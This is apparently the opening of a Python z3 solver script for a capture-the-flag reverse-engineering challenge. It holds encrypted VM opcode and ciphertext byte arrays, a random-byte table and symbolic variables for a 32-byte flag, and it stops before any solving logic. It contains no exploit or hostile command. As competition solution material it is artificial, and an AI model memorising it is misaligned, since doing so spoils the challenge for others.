opcode = [0xB, 0x17, 0x1C, 0x88, 0xBF, 0xD2, 0xBB, 0x80, 0xC5, 0x3D, 0x6F, 0x32, 0xBB, 0xD1, 0x6D, 0x63, 0x58, 0xD4, 0x9C, 0xBA, 0x57, 0x38, 0xC7, 0xE4, 0x9E, 0x27, 0xAE, 0x8C, 0xFA, 0x16, 0xF0, 0x4F, 0xFF, 0xF7, 0xF, 0xB1, 0xE2, 0x6D, 0x5D, 0x4C, 0x2F, 0xC5, 0xE2, 0xED, 0x76, 0x6F, 0x46, 0x42, 0x7A, 0xF1, 0xBD, 0x58, 0xB7, 0xD8, 0x27, 0xC4, 0xBB, 0x3, 0x8F, 0xAE, 0x98, 0x73, 0x92, 0x29, 0xDE, 0xD2, 0x2A, 0x93, 0xC0, 0x8B, 0x5, 0x15, 0x31, 0xED, 0x2E, 0x71, 0xFA, 0x90, 0x2C, 0x20, 0x1B, 0x95, 0xDC, 0x7A, 0x97, 0xF8, 0x7, 0x24, 0x5B, 0xE6, 0x6B, 0x4F, 0xBF, 0x52, 0xB0, 0x8, 0xAE, 0xA1, 0x4F, 0xF5, 0xA4, 0xA9, 0x26, 0x88, 0xAB, 0x31, 0x7, 0x7C, 0xA5, 0xDC, 0xD2, 0xB, 0x3A, 0xB7, 0xF9, 0x1B, 0xF5, 0x99, 0x67, 0x4, 0x7B, 0xC3, 0x4F, 0x6E, 0x5D, 0xB0, 0x55, 0xEA, 0x88, 0x80, 0x6A, 0xD0, 0x86, 0xCB, 0x40, 0x50, 0x73, 0xAE, 0xEF, 0xB3, 0x3A, 0x53, 0xED, 0xE1, 0xD9, 0x54, 0x1C, 0x3A, 0xD7, 0xB8, 0x42, 0x60, 0x1A, 0xA1, 0x28, 0xD, 0x7E, 0x91, 0x66, 0xC8, 0x69, 0x73, 0x8D, 0x33, 0xDD, 0x52, 0x9D, 0xBC, 0xBE, 0x31, 0x20, 0xD, 0x51, 0x32, 0xCF, 0xC4, 0xF8, 0x76, 0x3E, 0xDA, 0x37, 0x58, 0xA7, 0x44, 0x3B, 0x83, 0xA, 0x28, 0x1C, 0xF7, 0x7, 0xAD, 0x4C, 0x51, 0xAF, 0x15, 0x45, 0xA, 0x82, 0x95, 0xB1, 0x6E, 0xAF, 0xF2, 0x7B, 0x11, 0xAC, 0xA1, 0x99, 0x14, 0x5C, 0xFF, 0x13, 0x79, 0x85, 0xA3, 0xD8, 0x60, 0xEB, 0xDB, 0x3E, 0xD6, 0x34, 0x8A, 0x2F, 0x8A, 0x76, 0x88, 0xE9, 0xC7, 0x1D, 0x1B, 0x4F, 0x45, 0x4E, 0x10, 0x9E, 0xF0, 0x8E, 0x82, 0xB9, 0x34, 0x7C, 0x9A, 0x77, 0x18, 0xE7, 0x81, 0xFD, 0x42, 0xCD, 0xFA, 0xDB, 0x33, 0xD6, 0x68, 0x9, 0x12, 0xEE, 0x57, 0x7, 0x48, 0xC2, 0xD4, 0xF0, 0x2F, 0x6D, 0x33, 0xBB, 0xD1, 0x6C, 0x61, 0x5C, 0xD0, 0x9D, 0xB8, 0x50, 0x3B, 0xC4, 0xE0, 0x8E, 0x20, 0xAC, 0x89, 0xFC, 0x10, 0x4D, 0xF1, 0x14, 0x3E, 0xE3, 0x8, 0x4E, 0xB6, 0xE9, 0xF5, 0xD2, 0xA, 0xC, 0x51, 0xDF, 0xB1, 0x4C, 0x41, 0x79, 0xF4, 0xBC, 0x5A, 0xB2, 0xDE, 0x26, 0xC6, 0xAF, 0x5, 0x89, 0xAB, 0x9E, 0x76, 0x95, 0x28, 0xCB, 0xD6, 0x2F, 0x94, 0xC2, 0x8D, 0x3, 0x17, 0x33, 0xEE, 0x2D, 0x73, 0xFB, 0x91, 0x2C, 0x21, 0x19, 0x91, 0xD8, 0x7B, 0x95, 0xFF, 0x4, 0x27, 0x5F, 0xF6, 0x6C, 0x4D, 0xBA, 0x54, 0xB6, 0xB5, 0x10, 0x4A, 0x86, 0x19, 0x1D, 0x5, 0xFD, 0x3C, 0x12, 0xCC, 0xC8, 0x92, 0x19, 0x74, 0xC, 0x1, 0x39, 0xB4, 0xFC, 0x1A, 0xF7, 0x9D, 0x61, 0x5, 0x79, 0xD7, 0x49, 0x68, 0x58, 0xB6, 0x50, 0xED, 0x88, 0x95, 0x6A, 0xD6, 0x82, 0xCA, 0x42, 0x56, 0x71, 0xAF, 0xED, 0xB3, 0x3B, 0x51, 0xE9, 0xE5, 0xD8, 0x56, 0x1B, 0x39, 0xD4, 0xBC, 0x52, 0x67, 0x18, 0xA4, 0x2E, 0xB, 0xC3, 0x2F, 0x8D, 0x1, 0x85, 0xCA, 0x21, 0xE8, 0x69, 0xEB, 0x60, 0x73, 0x50, 0x8D, 0x8B, 0xD3, 0x5B, 0x31, 0xCC, 0xC1, 0xF9, 0x74, 0x39, 0xDC, 0x36, 0x5A, 0xB3, 0x42, 0x3D, 0x86, 0xC, 0x2D, 0x1B, 0xF7, 0x12, 0xAC, 0x4A, 0x55, 0xAE, 0x17, 0x43, 0x8, 0x83, 0x96, 0xB1, 0x6F, 0xAD, 0xF6, 0x7F, 0x10, 0xAE, 0xA6, 0x9A, 0x17, 0x58, 0xEF, 0x14, 0x7B, 0x80, 0xA5, 0xDE, 0xDD, 0x55, 0x30, 0xF7, 0x3A, 0x8D, 0x26, 0xF4, 0x3E, 0xCF, 0x75, 0x26, 0x29, 0xA1, 0xB1, 0x91, 0x4F, 0x4D, 0x13, 0x9B, 0xF1, 0x8C, 0x84, 0xBF, 0x35, 0x7E, 0x8E, 0x71, 0x1E, 0xE2, 0x87, 0xF8, 0x45, 0xCD, 0xEF, 0xD5, 0x35, 0xD2, 0x69, 0xB, 0x14, 0xEC, 0x56, 0x3, 0x48, 0xC3, 0xD6, 0xF4, 0x2B, 0x6C, 0x31, 0xBC, 0xD2, 0x6F, 0x65, 0x4C, 0xD7, 0x9F, 0xBD, 0x56, 0x3D, 0x79, 0x5E, 0x65, 0xE9, 0x40, 0x30, 0x50, 0xCB, 0xF9, 0x48, 0xE9, 0xF1, 0xD, 0xB4, 0xEB, 0x68, 0xE3, 0xF6, 0xD1, 0xF, 0xD, 0x53, 0xDE, 0xB7, 0x4D, 0x43, 0x6D, 0xF2, 0xBA, 0x5F, 0xB4, 0xDB, 0x21, 0xC7, 0xB9, 0x1, 0x8C, 0xAC, 0x9C, 0x7C, 0x93, 0x2A, 0xC8, 0xD5, 0x2C, 0x96, 0xC3, 0x88, 0x3, 0x16, 0x31, 0xEA, 0x29, 0x72, 0xF9, 0x96, 0x2F, 0x22, 0x1D, 0x81, 0xDF, 0x79, 0x90, 0xF9, 0x2, 0x9A, 0xE1, 0x1D, 0xA5, 0xA1, 0x3, 0xF8, 0x6D, 0x1, 0xA9, 0xB7, 0x49, 0xF7, 0xA1, 0xA1, 0x23, 0x36, 0x11, 0xCF, 0xCD, 0x93, 0x1B, 0x74, 0xA, 0x0, 0x3B, 0xA0, 0xFA, 0x1C, 0xF2, 0x9B, 0x64, 0x2, 0x79, 0xC2, 0x45, 0x6E, 0x5C, 0xB7, 0x52, 0xEB, 0x8A, 0x94, 0x6C, 0xD6, 0x83, 0xC8, 0x46, 0x52, 0x70, 0xAD, 0xEA, 0xB0, 0x38, 0x55, 0xF9, 0xE2, 0xDA, 0x53, 0x1D, 0x3F, 0x69, 0x2, 0xB9, 0xAE, 0xF4, 0x1D, 0x82, 0xD0, 0x77, 0x96, 0x70, 0xCE, 0x6B, 0x76, 0x86, 0x36, 0x63, 0xE8, 0x63, 0x76, 0x51, 0x8F, 0x88, 0xD5, 0x5A, 0x33, 0xD8, 0xC7, 0xFF, 0x71, 0x3F, 0xD9, 0x31, 0x5A, 0xA6, 0x4F, 0x3B, 0x82, 0xD, 0x2F, 0x1D, 0xF5, 0x13, 0xAB, 0x4A, 0x54, 0xAC, 0x13, 0x47, 0x9, 0x81, 0x91, 0xB2, 0x6C, 0xA9, 0xE6, 0x78, 0x12, 0xAB, 0xA0, 0x9C, 0xAA, 0xE6, 0x4, 0xDD, 0x97, 0x39, 0x9, 0x5, 0x69, 0xEC, 0xCD, 0x38, 0xD4, 0x31, 0x80, 0x2A, 0x34, 0xCC, 0x76, 0x23, 0x28, 0xA3, 0xB3, 0x97, 0x4E, 0x4F, 0x7, 0x9D, 0xF7, 0x89, 0x82, 0xBA, 0x32, 0x7E, 0x9B, 0x7B, 0x18, 0xE6, 0x86, 0xFA, 0x43, 0xCF, 0xEE, 0xDD, 0x35, 0xD3, 0x6B, 0xF, 0x10, 0xED, 0x54, 0x4, 0x4B, 0xC0, 0xD2, 0xE4, 0x2C, 0x6E, 0x34, 0xBA, 0xD4, 0xD2, 0xDB, 0xA7, 0x1E, 0x73, 0x4, 0xFA, 0xE6, 0xCD, 0xE7, 0x98, 0x26, 0xAE, 0x8C, 0xF1, 0x15, 0xF3, 0x4B, 0xEA, 0xF4, 0xC, 0xB6, 0xE6, 0x6E, 0xE2, 0xF4, 0xC5, 0x9, 0xB, 0x56, 0xD8, 0xB2, 0x4A, 0x42, 0x7A, 0xF6, 0xBF, 0x58, 0xB6, 0xD5, 0x27, 0xC5, 0xB9, 0x2, 0x8F, 0xAE, 0x9D, 0x75, 0x93, 0x2B, 0xCA, 0xD1, 0x28, 0x97, 0xC1, 0x8F, 0x0, 0x15, 0x35, 0xFA, 0x2E, 0x70, 0xFC, 0x90, 0x29, 0x9F, 0xA3, 0x6A, 0x16, 0x95, 0x29, 0x55, 0xD9, 0x2E, 0x58, 0xE0, 0x6A, 0x4F, 0xBF, 0x58, 0xB3, 0xB, 0xAA, 0xB4, 0x4C, 0xF6, 0xA3, 0xAD, 0x25, 0x37, 0x13, 0xDB, 0xCB, 0x95, 0x1E, 0x72, 0xF, 0x7, 0x3B, 0xB5, 0xF2, 0x1A, 0xF6, 0x9A, 0x66, 0x4, 0x7B, 0xC3, 0x4F, 0x6E, 0x5D, 0xB5, 0x56, 0xEF, 0x8B, 0x96, 0x6B, 0xD5, 0x80, 0xCC, 0x56, 0x55, 0x72, 0xA8, 0xEC, 0xB6, 0x85, 0xEB, 0x12, 0x2B, 0x36, 0xEA, 0xB1, 0xE4, 0xDD, 0xBB, 0x44, 0x61, 0x1A, 0xA1, 0x21, 0xE, 0x7D, 0x95, 0x73, 0xCB, 0x6A, 0x74, 0x89, 0x30, 0x62, 0xEA, 0x77, 0x70, 0x57, 0x8A, 0x8E, 0xD0, 0x5D, 0x33, 0xCD, 0xCE, 0xF9, 0x75, 0x3E, 0xDB, 0x37, 0x58, 0xA7, 0x44, 0x3B, 0x83, 0xF, 0x2B, 0x19, 0xF4, 0x11, 0xAC, 0x49, 0x57, 0xA8, 0x3, 0x40, 0xB, 0x84, 0x97, 0xB4, 0xD1, 0x17, 0xD, 0xB1, 0xFE, 0x12, 0xC, 0x47, 0x1E, 0x5F, 0xF9, 0x12, 0x79, 0x85, 0xAB, 0xDB, 0x63, 0xEF, 0xCE, 0x3D, 0xD5, 0x33, 0x8E, 0x2C, 0x35, 0xCE, 0x62, 0x25, 0x2E, 0xA6, 0xB5, 0x92, 0x49, 0x4F, 0x12, 0x8B, 0xF1, 0x8D, 0x83, 0xB8, 0x34, 0x7C, 0x9A, 0x77, 0x18, 0xE7, 0x84, 0xFE, 0x47, 0xCE, 0xEC, 0xDA, 0x36, 0xD0, 0x6F, 0x1F, 0x17, 0xEF, 0x51, 0x2, 0x4D, 0x7D, 0x6C, 0xF, 0xE5, 0x82, 0x8D, 0x16, 0xF, 0x66, 0x62, 0x5A, 0xD1, 0x9D, 0xB8, 0x47, 0x38, 0xC7, 0xE4, 0x9B, 0x23, 0xAF, 0x8E, 0xF8, 0x13, 0xF2, 0x49, 0xFE, 0xF2, 0xA, 0xB3, 0xE0, 0x6B, 0xE5, 0xF5, 0xD5, 0xD, 0xE, 0x51, 0xDA, 0xA0, 0x4C, 0x40, 0x7B, 0xF5, 0xBC, 0x5A, 0xB7, 0xD8, 0x27, 0xC4, 0xBB, 0x6, 0x8B, 0xAF, 0x9F, 0x72, 0x90, 0x28, 0xCE, 0xC1, 0x2F, 0x95, 0xC4, 0x89, 0x6, 0xA8, 0x8B, 0x11, 0xE7, 0x9C, 0x45, 0x3C, 0xF2, 0x2B, 0x1A, 0x97, 0xD9, 0x7B, 0x95, 0xE9, 0x7, 0x24, 0x5B, 0xE3, 0x6F, 0x4E, 0xBD, 0x50, 0xB5, 0xA, 0xA8, 0xA0, 0x4A, 0xF0, 0xA6, 0xAB, 0x20, 0x30, 0x13, 0xCE, 0xDF, 0x93, 0x1A, 0x73, 0xD, 0x1, 0x39, 0xB4, 0xFC, 0x1A, 0xF7, 0x98, 0x62, 0x0, 0x7A, 0xC1, 0x48, 0x6D, 0x5E, 0xB1, 0x46, 0xE8, 0x89, 0x93, 0x6D, 0xD3, 0x3D, 0x72, 0xBD, 0x9C, 0x9E, 0x11, 0x40, 0x6D, 0x31, 0x52, 0xEF, 0xE4, 0xD8, 0x56, 0xE, 0x3A, 0xD7, 0xB8, 0x47, 0x64, 0x1B, 0xA3, 0x2A, 0x8, 0x7C, 0x97, 0x67, 0xCD, 0x6C, 0x71, 0x8F, 0x35, 0x65, 0xEA, 0x62, 0x65, 0x51, 0x8E, 0x8F, 0xD2, 0x5B, 0x31, 0xCC, 0xC1, 0xF9, 0x74, 0x3C, 0xDF, 0x33, 0x59, 0xA5, 0x43, 0x38, 0x80, 0xB, 0x3B, 0x1E, 0xF6, 0x14, 0xAA, 0x4F, 0xEA, 0x16, 0xE8, 0x89, 0xE7, 0x3D, 0x3B, 0x6F, 0x65, 0xAE, 0xF0, 0x7E, 0x10, 0xAE, 0xB2, 0x99, 0x14, 0x5C, 0xFA, 0x17, 0x78, 0x87, 0xA1, 0xDD, 0x62, 0xED, 0xDA, 0x3B, 0xD3, 0x36, 0x88, 0x29, 0x32, 0xCE, 0x77, 0x37, 0x28, 0xA2, 0xB4, 0x90, 0x4F, 0x4D, 0x13, 0x9B, 0xF1, 0x8C, 0x81, 0xBC, 0x30, 0x7D, 0x98, 0x70, 0x1B, 0xE4, 0x80, 0xEE, 0x40, 0xCC, 0xE9, 0xDC, 0x30, 0x6D, 0xD1, 0xF4, 0xDE, 0x3, 0xE8, 0xAE, 0x96, 0xC9, 0xD5, 0xF2, 0x2A, 0x6C, 0x31, 0xAF, 0xD1, 0x6C, 0x61, 0x59, 0xD4, 0x9C, 0xBA, 0x52, 0x3E, 0xC6, 0xE6, 0x8F, 0x25, 0xA9, 0x8B, 0xFE, 0x16, 0xF5, 0x48, 0xEF, 0xF6, 0xF, 0xB4, 0xE2, 0x7D, 0xE3, 0xF7, 0xD3, 0xE, 0xD, 0x53, 0xDB, 0xB1, 0x4C, 0x41, 0x79, 0xF1, 0xB8, 0x5B, 0xB5, 0xDF, 0x24, 0xC7, 0xBF, 0x16, 0x8C, 0xAD, 0x9A, 0x74, 0x96, 0x95, 0x70, 0x2A, 0xE6, 0x79, 0x7D, 0x25, 0xDD, 0x1C, 0x32, 0xEC, 0x28, 0x72, 0xF9, 0x84, 0x2C, 0x21, 0x19, 0x94, 0xDC, 0x7A, 0x97, 0xFD, 0x1, 0x25, 0x59, 0xF7, 0x69, 0x48, 0xB8, 0x56, 0xB0, 0xD, 0xA8, 0xB5, 0x5A, 0xF6, 0xA2, 0xAA, 0x22, 0x36, 0x11, 0xCF, 0xCD, 0x93, 0x1B, 0x71, 0x9, 0x5, 0x38, 0xB6, 0xFB, 0x19, 0xF4, 0x9C, 0x72, 0x7, 0x78, 0xC4, 0x4E, 0x6B, 0xE3, 0xF, 0xAD, 0x21, 0x65, 0x2A, 0xC1, 0x8, 0x89, 0xCB, 0x40, 0x53, 0x70, 0xAD, 0xFB, 0xB3, 0x3B, 0x51, 0xEC, 0xE1, 0xD9, 0x54, 0x19, 0x3C, 0xD6, 0xBA, 0x53, 0x62, 0x1D, 0xA6, 0x2C, 0xD, 0x7B, 0x97, 0x72, 0xDC, 0x6A, 0x75, 0x8E, 0x37, 0x63, 0xE8, 0x63, 0x76, 0x51, 0x8F, 0x8D, 0xD6, 0x5F, 0x30, 0xCE, 0xC6, 0xFA, 0x77, 0x38, 0xCF, 0x34, 0x5B, 0xA0, 0x45, 0x3E, 0x3D, 0xB5, 0xD0, 0xD7, 0x1A, 0xAD, 0x6, 0x94, 0x5E, 0xAF, 0x15, 0x46, 0x9, 0x81, 0x81, 0xB1, 0x6F, 0xAD, 0xF3, 0x7B, 0x11, 0xAC, 0xA4, 0x9F, 0x15, 0x5E, 0xEE, 0x11, 0x7E, 0x82, 0xA7, 0xD8, 0x65, 0xED, 0xCF, 0x25, 0xD5, 0x32, 0x89, 0x2B, 0x34, 0xCC, 0x76, 0x23, 0x28, 0xA3, 0xB6, 0x94, 0x4B, 0x4C, 0x11, 0x9C, 0xF2, 0x8F, 0x85, 0xAC, 0x37, 0x7F, 0x9D, 0x76, 0x1D, 0x59, 0x3E, 0x5, 0x89, 0x20, 0x50, 0x70, 0xEB, 0xD9, 0x68, 0x9, 0x11, 0xED, 0x54, 0x1B, 0x48, 0xC3, 0xD6, 0xF1, 0x2F, 0x6D, 0x33, 0xBE, 0xD7, 0x6D, 0x63, 0x4D, 0xD2, 0x9A, 0xBF, 0x54, 0x3B, 0xC1, 0xE7, 0x9D, 0x21, 0xAC, 0x8C, 0xFC, 0xC, 0xF3, 0x4A, 0xE8, 0xF5, 0xC, 0xB6, 0xE3, 0x68, 0xE3, 0xF6, 0xD1, 0xA, 0x9, 0x52, 0xD9, 0xB6, 0x4F, 0x42, 0x7D, 0xE1, 0xBF, 0x59, 0xB0, 0xD9, 0x22, 0x7A, 0x1, 0xFD, 0x45, 0x41, 0x23, 0xD8, 0x4D, 0x21, 0xC9, 0xD7, 0x29, 0x97, 0xC1, 0x91, 0x3, 0x16, 0x31, 0xEF, 0x2D, 0x73, 0xFB, 0x94, 0x2A, 0x20, 0x1B, 0x80, 0xDA, 0x7C, 0x92, 0xFB, 0x4, 0x22, 0x59, 0xE2, 0x75, 0x4E, 0xBC, 0x57, 0xB2, 0xB, 0xAA, 0xB4, 0x4C, 0xF6, 0xA3, 0xA8, 0x26, 0x32, 0x10, 0xCD, 0xCA, 0x90, 0x18, 0x75, 0x19, 0x2, 0x3A, 0xB3, 0xFD, 0x1F, 0x49, 0x22, 0x99, 0xCE, 0x94, 0x7D, 0xE2, 0xB0, 0x57, 0xB6, 0x50, 0xEE, 0x8B, 0x96, 0x76, 0xD6, 0x83, 0xC8, 0x43, 0x56, 0x71, 0xAF, 0xE8, 0xB5, 0x3A, 0x53, 0xF8, 0xE7, 0xDF, 0x51, 0x1F, 0x39, 0xD1, 0xBA, 0x46, 0x7F, 0x1B, 0xA2, 0x2D, 0xF, 0x7D, 0x95, 0x73, 0xCB, 0x6A, 0x74, 0x8C, 0x33, 0x67, 0xE9, 0x61, 0x71, 0x52, 0x8C, 0x89, 0xC6, 0x58, 0x32, 0xCB, 0xC0, 0xFC, 0xCA, 0x86, 0x24, 0xFD, 0xB7, 0x19, 0xE9, 0xE5, 0x89, 0xC, 0x2D, 0x18, 0xF4, 0x11, 0xB0, 0x4A, 0x54, 0xAC, 0x16, 0x43, 0x8, 0x83, 0x93, 0xB7, 0x6E, 0xAF, 0xE7, 0x7D, 0x17, 0xA9, 0xA2, 0x9A, 0x12, 0x5E, 0xFB, 0xB, 0x78, 0x86, 0xA6, 0xDA, 0x63, 0xEF, 0xCE, 0x3D, 0xD5, 0x33, 0x8B, 0x2F, 0x30, 0xCD, 0x74, 0x24, 0x2B, 0xA0, 0xB2, 0x84, 0x4C, 0x4E, 0x14, 0x9A, 0xF4, 0x32, 0x3B, 0x47, 0xFE, 0x93, 0x24, 0xDA, 0xC6, 0xED, 0x87, 0xF8, 0x46, 0xCE, 0xEC, 0xC1, 0x35, 0xD3, 0x6B, 0xA, 0x14, 0xEC, 0x56, 0x6, 0x4E, 0xC2, 0xD4, 0xE5, 0x29, 0x6B, 0x36, 0xB8, 0xD2, 0x6A, 0x62, 0x5E, 0xD6, 0x9F, 0xB8, 0x56, 0x25, 0xC7, 0xE5, 0x99, 0x22, 0xAF, 0x8E, 0xFD, 0x15, 0xF3, 0x4B, 0xEA, 0xF1, 0x8, 0xB7, 0xE1, 0x6F, 0xE0, 0xF5, 0xD5, 0x1A, 0xE, 0x50, 0xDC, 0xB0, 0x49, 0xFF, 0xC3, 0xA, 0x76, 0xB5, 0x9, 0x75, 0xF9, 0xCE, 0xB8, 0x0, 0x8A, 0xAF, 0x9F, 0x68, 0x93, 0x2B, 0xCA, 0xD4, 0x2C, 0x96, 0xC3, 0x8D, 0x5, 0x17, 0x33, 0xFB, 0x2B, 0x75, 0xFE, 0x92, 0x2F, 0x27, 0x1B, 0x95, 0xC2, 0x7A, 0x96, 0xFA, 0x6, 0x24, 0x5B, 0xE3, 0x6F, 0x4E, 0xBD, 0x55, 0xB6, 0xF, 0xAB, 0xB6, 0x4B, 0xF5, 0xA0, 0xAC, 0x36, 0x35, 0x12, 0xC8, 0xCC, 0x96, 0xA5, 0xCB, 0xF2, 0xCB, 0xD6, 0xA, 0x51, 0xC4, 0xFD, 0x9B, 0x64, 0x1, 0x7A, 0xC1, 0x51, 0x6E, 0x5D, 0xB5, 0x53, 0xEB, 0x8A, 0x94, 0x69, 0xD0, 0x82, 0xCA, 0x57, 0x50, 0x77, 0xAA, 0xEE, 0xB0, 0x3D, 0x53, 0xED, 0xFE, 0xD9, 0x55, 0x1E, 0x3B, 0xD7, 0xB8, 0x47, 0x64, 0x1B, 0xA3, 0x2F, 0xB, 0x79, 0x94, 0x71, 0xCC, 0x69, 0x77, 0x88, 0x23, 0x60, 0xEB, 0x64, 0x77, 0x54, 0x31, 0x37, 0x2D, 0x91, 0xDE, 0x72, 0x6C, 0x27, 0x7E, 0x3F, 0xD9, 0x32, 0x59, 0xA5, 0x5B, 0x3B, 0x83, 0xF, 0x2E, 0x1D, 0xF5, 0x13, 0xAE, 0x4C, 0x55, 0xAE, 0x2, 0x45, 0xE, 0x86, 0x95, 0xB2, 0x69, 0xAC, 0xF4, 0x16, 0xF7, 0x40, 0x7F, 0x9C, 0x14, 0x5C, 0xFA, 0x10, 0x7B, 0x84, 0xA3, 0xDA, 0x6B, 0xE4, 0xCE, 0x3D, 0xD5, 0x33, 0x8B, 0x2A, 0x34, 0xC9, 0x75, 0x20, 0x20, 0xAC, 0xBF, 0x92, 0x57, 0x4E, 0x1B, 0x99, 0xF8, 0x8D, 0x86, 0xD4, 0xD2, 0x90, 0x44, 0x72, 0x18, 0xE7, 0x84, 0xFC, 0x40, 0xCC, 0xE9, 0xDC, 0x3D, 0xD8, 0x6B, 0xA, 0x14, 0xEC, 0x56, 0x3, 0x48, 0xC6, 0xD5, 0xF2, 0x27, 0x62, 0x3A, 0xB8, 0xC9, 0x6F, 0x68, 0x5B, 0xDD, 0x9D, 0xBD, 0x3A, 0xDE, 0x2B, 0x3A, 0x9E, 0x23, 0xAF, 0x8E, 0xFA, 0x16, 0xF0, 0x4C, 0xEB, 0xFC, 0x7, 0xB6, 0xE3, 0x68, 0xE3, 0xF6, 0xD1, 0xF, 0x8, 0x50, 0xD8, 0xB9, 0x43, 0x48, 0x7A, 0xEC, 0xBF, 0x50, 0xB5, 0xD1, 0x26, 0xC3, 0xD6, 0xE5, 0x63, 0x70, 0x98, 0x75, 0x93, 0x2B, 0xCD, 0xD7, 0x2F, 0x91, 0xC2, 0x80, 0x8, 0x16, 0x31, 0xEF, 0x2D, 0x73, 0xFB, 0x91, 0x29, 0x22, 0x1A, 0x9C, 0xD3, 0x73, 0x94, 0xE0, 0x4, 0x2F, 0x59, 0xEA, 0x6E, 0x49, 0xD0, 0xB3, 0x5F, 0xD5, 0xAF, 0xB4, 0x4C, 0xF6, 0xA4, 0xAB, 0x20, 0x31, 0x10, 0xC7, 0xC6, 0x93, 0x1B, 0x71, 0xC, 0x1, 0x39, 0xB4, 0xF9, 0x19, 0xF4, 0x90, 0x68, 0xD, 0x78, 0xDB, 0x4C, 0x62, 0x5F, 0xBC, 0x52, 0xEC, 0xE7, 0x72, 0x80, 0x8, 0x86, 0xC8, 0x43, 0x56, 0x76, 0xAC, 0xEE, 0xB4, 0x3A, 0x59, 0xE7, 0xE1, 0xD9, 0x54, 0x1C, 0x3A, 0xD7, 0xB8, 0x42, 0x67, 0x18, 0xAB, 0x20, 0x7, 0x7E, 0x8D, 0x70, 0xC6, 0x68, 0x7D, 0x8D, 0x31, 0xE, 0xE, 0x8F, 0xA8, 0x54, 0x8F, 0x8D, 0xD3, 0x5C, 0x32, 0xCF, 0xC6, 0xF8, 0x7C, 0x37, 0xDA, 0x37, 0x58, 0xA7, 0x44, 0x3B, 0x83, 0xA, 0x2D, 0x1E, 0xFD, 0x1C, 0xA2, 0x49, 0x4C, 0xAF, 0x18, 0x41, 0x1, 0x82, 0x91, 0xDC, 0x89, 0x41, 0x2D, 0x7E, 0x11, 0xAC, 0xA1, 0x9E, 0x17, 0x5F, 0xFD, 0x16, 0x70, 0x8C, 0xA4, 0xDB, 0x63, 0xEF, 0xCE, 0x3D, 0xD5, 0x36, 0x88, 0x29, 0x3C, 0xC3, 0x7F, 0x20, 0x30, 0xA0, 0xB9, 0x93, 0x46, 0x4C, 0x19, 0x9B, 0xF1, 0x8C, 0x81, 0xB9, 0x34, 0x7C, 0x9A, 0x76, 0x13, 0xF7, 0x84, 0xFB, 0x43, 0xCF, 0xEE, 0xDD, 0x35, 0xD2, 0x64, 0xA, 0x16, 0xEC, 0x56, 0x3, 0x48, 0xC3, 0xD6, 0xF4, 0x20, 0x62, 0x39, 0xAC, 0xDD, 0x63, 0x60, 0x54, 0xC4, 0x9E, 0xBA, 0x57, 0x38, 0xC7, 0xE4, 0x9B, 0x26, 0xA2, 0x83, 0xF7, 0x2, 0xFD, 0x46, 0xFA, 0xF8, 0x2, 0xA5, 0xA5, 0x61, 0xE2, 0xF9, 0xD0, 0xF, 0xD, 0x53, 0xDB, 0xB1, 0x4C, 0x41, 0x7C, 0xFE, 0xB6, 0x55, 0xA7, 0xD2, 0x2C, 0xD7, 0x45, 0xB, 0x8E, 0xAE, 0x9C, 0x75, 0x93, 0x2B, 0xCA, 0xD4, 0x2C, 0x96, 0x3C, 0x89, 0x3, 0x16, 0x31, 0xEF, 0x2D, 0x73, 0xFB, 0x91, 0x2C, 0xDE]
opcode = decrypt(opcode)
enc = [0xB6, 0x82, 0x1A, 0x15, 0xF5, 0x32, 0x5A, 0xFC, 0xF, 0x11, 0xEA, 0x89, 0x32, 0x38, 0xC3, 0x55]
enc = decrypt(enc)

_rand_array = [0x9B, 0x71, 0x29, 0x14, 0xD4, 0x35, 0x39, 0x64, 0x3D, 0x95, 0x9A, 0x93, 0xF6, 0xC7, 0x22, 0x58, 0xD0, 0xB4, 0xEE, 0x4F, 0x88, 0x2D, 0x4, 0x51, 0x6A, 0xE7, 0xA9, 0x7, 0x24, 0x3F, 0x46, 0xF1, 0xA1, 0x3A, 0x1F, 0x5F, 0xCA, 0x12, 0xE2, 0x24, 0xD6, 0xB7, 0xA6, 0x25, 0x69, 0xE3, 0x40, 0xA5, 0x5A, 0x49, 0xA8, 0x92, 0xF1, 0xCF, 0x20, 0x73, 0x1A, 0x81, 0xB4, 0xEA, 0x29, 0x9B, 0x56, 0xAB, 0x9F, 0x92, 0x1, 0x28, 0xC0, 0xEA, 0x63, 0x99, 0x83, 0x12, 0x18, 0x8B, 0x59, 0x9D, 0x35, 0xEC, 0xAD, 0x5C, 0x6D, 0x2E, 0x86, 0x57, 0x9D, 0x68, 0xF9, 0x94, 0x3C, 0xA, 0xF0, 0x42, 0x3F, 0x84, 0x1F, 0xB6, 0xF4, 0x5, 0x1F, 0x99, 0x3, 0xBF, 0xF0, 0x25, 0xE2, 0xEC, 0xAB, 0xA4, 0x5C, 0xAC, 0x52, 0xAC, 0x14, 0x86, 0xBC, 0x17, 0xE8, 0xFB, 0x79, 0xE9, 0x87, 0x10, 0x25, 0x0, 0x2F, 0xFD, 0x5C, 0x7F, 0x1E, 0xD1, 0x87, 0xC5, 0x97, 0x5D, 0x5C, 0xA7, 0x2, 0xAA, 0x42, 0xD4, 0xCA, 0x27, 0x91, 0xE0, 0x50, 0xB6, 0x1C, 0x4, 0x1E, 0x42, 0x4B, 0xE8, 0x54, 0x6A, 0xF0, 0xCB, 0xD1, 0xFB, 0xA1, 0x34, 0x9A, 0xCE, 0xCB, 0xCD, 0xB, 0x4A, 0x2D, 0x98, 0xA8, 0xBB, 0x3A, 0x65, 0x14, 0xE7, 0x4B, 0xD5, 0x1D, 0x2F, 0xBF, 0x22, 0x1E, 0x61, 0x76, 0x2F, 0x8D, 0x30, 0xB0, 0x6C, 0x99, 0xCA, 0x9F, 0x5C, 0x5D, 0xC8, 0xE9, 0xBC, 0xF0, 0xA9, 0x94, 0x57, 0x62, 0xF, 0x22, 0x21, 0x1E, 0x3B, 0xD7, 0xEE, 0x24, 0x5E, 0xC9, 0xFF, 0x8C, 0x4C, 0x75, 0x1E, 0xF0, 0x4, 0xB2, 0x38, 0xC, 0x20, 0xC6, 0x8C, 0x1F, 0x33, 0x6, 0x38, 0xFF, 0x2F, 0x1D, 0xAB, 0x45, 0xF3, 0x35, 0x92, 0xE2, 0xBD, 0xD7, 0x69, 0x28, 0x4A, 0xDE, 0x19, 0xDB, 0x8A, 0x4F, 0x6E, 0xB5, 0xF4, 0xED, 0xBD, 0xC, 0x1B]
rand_array = z3.Array('rand_array', z3.BitVecSort(64),z3.BitVecSort(8))
flag = z3.BitVecs(" ".join(f"idx{i}" for i in range(32)),8)
for i in range(len(_rand_array)): rand_array = z3.Store(rand_array,i,_rand_array[i])
stack = [0]*0x20
